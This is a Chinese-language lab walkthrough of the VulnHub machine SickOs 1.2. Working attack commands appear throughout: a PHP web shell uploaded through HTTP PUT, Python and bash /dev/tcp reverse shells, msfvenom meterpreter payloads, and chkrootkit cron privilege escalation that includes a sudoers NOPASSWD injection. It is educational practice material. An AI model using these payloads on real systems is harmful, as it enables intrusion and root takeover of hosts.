Vulnhub百个项目渗透
Vulnhub百个项目渗透——项目十三:SickOs 1.2(防火墙绕过,计划任务写入)
靶场地址
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月14日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
巅峰之路
前言
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
一、梳理流程
- 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
- 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
- 二次收集(基于已得到的服务或者主机再次信息收集)
- 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
- 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)
二、使用步骤
1.服务发现
(我称为,脆弱点获取)
通常有如下几步:
- 端口爆破,基本服务信息获取
- 挨个端口访问,寻找第一次突破口
- web页面信息收集,寻求更大突破
- 具体服务突破
端口爆破
nmap -sP 192.168.247.0/24
nmap sS sV -A -T5 192.168.247.142
显示开放了22,80端口,并且,80端口采用了lighttpd1.4.28,谷歌先行搜索,发现存在脆弱点
nikto 192.168.247.142 --简单的漏洞扫描一下,发现并不存在漏洞,接下来进行页面的信息收集
访问页面发现一张图片,那么可能存在图片的16进制信息,我们下载到本地,分析一下
strings blow.jpg
发现啥也没有,那么就只能爆破一下目录了
爆破出一个目录
发现存在文件读取,那么就要想想,存在文件读取,我们能不能文件上传,那么在页面抓包分析一下
2.WEB突破
可以看到,我们将请求头改成PUT依旧可以正常,那么我们尝试写入字符到一个php文件下
响应值200,证明文件可写入
1.利用写入获取shell
将请求头改成了OPTIONS,利用curl访问,我们知道了哪些请求头可以利用
紧接着,写入一句话到shell.php中
curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://192.168.247.142/test/shell.php
然后再url框中输入?cmd=ls
代表着ls作为cmd变量的一个参数带入shell.php文件
然后再作为一个命令参数去执行
查看一下是否安装了python,因为如果安装了python就可以有很多的方便
?cmd=which python
这里其实我们已经拿到shell了,只需要回弹端口监听,就可以获得正常的shell
所以输入:
nc -vlp 6677
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.247.129",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
但是收不到端口的监听,看看页面,也没有报错,而是在一直转圈圈,说明命令没有错,shell没有错,而是找不到路,说明这个一定配置了不出网的防火墙,但是一定也有端口开放,不然这个靶场还打个鸡毛打,那就换一个方法
2.利用weevely获取shell
weevely generate pass1234 rong.php --生成php木马文件
curl --upload-file rong.php -v --url http://192.168.247.142/test/dayu.php -0
--upload-file ---上传
-0 ---因为要接入http1.0或者http2,-0是自动会选择!
访问:http://192.168.247.142/test
发现成功上传!
weevely http://192.168.247.142/test/rong.php passrong
成功获得反弹shell!
curl --upload-file linpeas.sh -v --url http://192.168.247.142/test/linpeas.sh -0 --上传信息搜集脚本,为下一步去做准备
但是运行不显示结果,可能是weevely终端端的问题,可以手工信息收集,但我偏不,我要再找一个shell,这一次我选择了msf生成一个php回连,让他找我
3. 使用msf获取shell
使用步骤:
-
生成木马
-
2.msf中连接木马以及相关设置
-
生成木马:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=7777 -f raw > shell.php
---生成
curl -v -H 'Expect:' -T shell.php "http://192.168.247.142/test/"
---上传
- 本机配置木马
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.247.129
msf6 exploit(multi/handler) > set lport 443
msf6 exploit(multi/handler) > run
meterpreter > shell
--这个地方输入shell之后是空的,直接输命令即可
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/test$ --拿到shell
./linpeas.sh
开始检查
3.提权
信息二次收集
1.手工法(经典三问)
2.脚本法
我用这个,不为什么,就为了那个花花绿绿的颜色
可以内核提权
计划任务突破
发现daily字样的计划任务,按照root运行
发现一个sudo权限运行的用户
刚才发现了一个叫cron什么的一个计划任务,我们这里全局搜索一下,看看能不能找到他的crontab,那个是他的计划任务命令
linux 系统则是由 cron (crond) 这个系统服务来控制的。Linux
系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的。另 外, 由于使用者自己也可以设置计划任务,所以, Linux
系统也提供了使用者控制计划任务的命令 :crontab 命令。
1.计划任务文件搜索,寻求写入方法
find / -name cron* 2>/dev/null
--全局搜索cron开头的名字,不显示报错信息
搜索到了三个计划任务,挨个看看
在cron.daily中我们发现了chrootkit这样一个东西,我们知道他是用来定时清除木马一类的东西
Rootkit是一个特殊的恶意软件,它可隐藏自身以及指定的文件、进程、网络、链接、端口等信息。Rootkit可通过加载特殊的驱动修改系统内核,进而达到隐藏信息的目的。Rootkit的三要素就是:隐藏、操纵、收集数据。
Rootkit具有隐身功能,无论静止时作为文件存在,还是活动时作为进程存在,都不会被察觉,它可能永远存在于计算机中。
同样的,我们也搜索一下这个文件相关
第一个是配置信息,第二个是环境变量信息
暂时不是很想访问它,看一下版本号直接提权了应该(因为计划任务是root走的,这个在计划任务里,我们只要能写入到这个东西里面,应该就可以按时按照root运行)
searchsploit chkrootkit 0.49
locate /linux/local/33899.txt
cp /usr/share/exploitdb/exploits/linux/local/33899.txt .
----注意最后有个点,代表当前目录
那个txt是漏洞介绍啊利用啊这样子的,太长,朕不阅,直接翻译
告诉我们/tmp只要能写入,并且按照root运行,我们就可以顺顺利利的提权
方法1:chkrootkit提权
printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.247.129/443 0>&1\n' >> /tmp/update
chmod 777 /tmp/update
nc -nlvp 443
方法二:计划任务添加sudo用户
这个要先把之前试验过的update删掉,不然出不来
然后我是先截的图放过来然后再去kali继续做的,这个图不见了,见谅哈
rm -rf update --删除之前操作过的update文件
给对方www-data加入sudo权限:
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
chmod +x /tmp/update
ls -la /etc/sudoers ---过几分钟查看
sudo su ----成功获得root权限
方法三:msf上线
msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf LHOST=10.211.55.19 LPORT=443 -o dayu.elf
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lport 443
set lhost 10.211.55.19
exploit -j
python -m SimpleHTTPServer 443
wget http://10.211.55.19:443/dayu.elf
mv dayu.elf /tmp/update
chmod +x update
4.防火墙查看
cd ~/
cat newRule
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [0:0]
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
COMMIT
只有端口22、80、443、8080允许通过防火墙!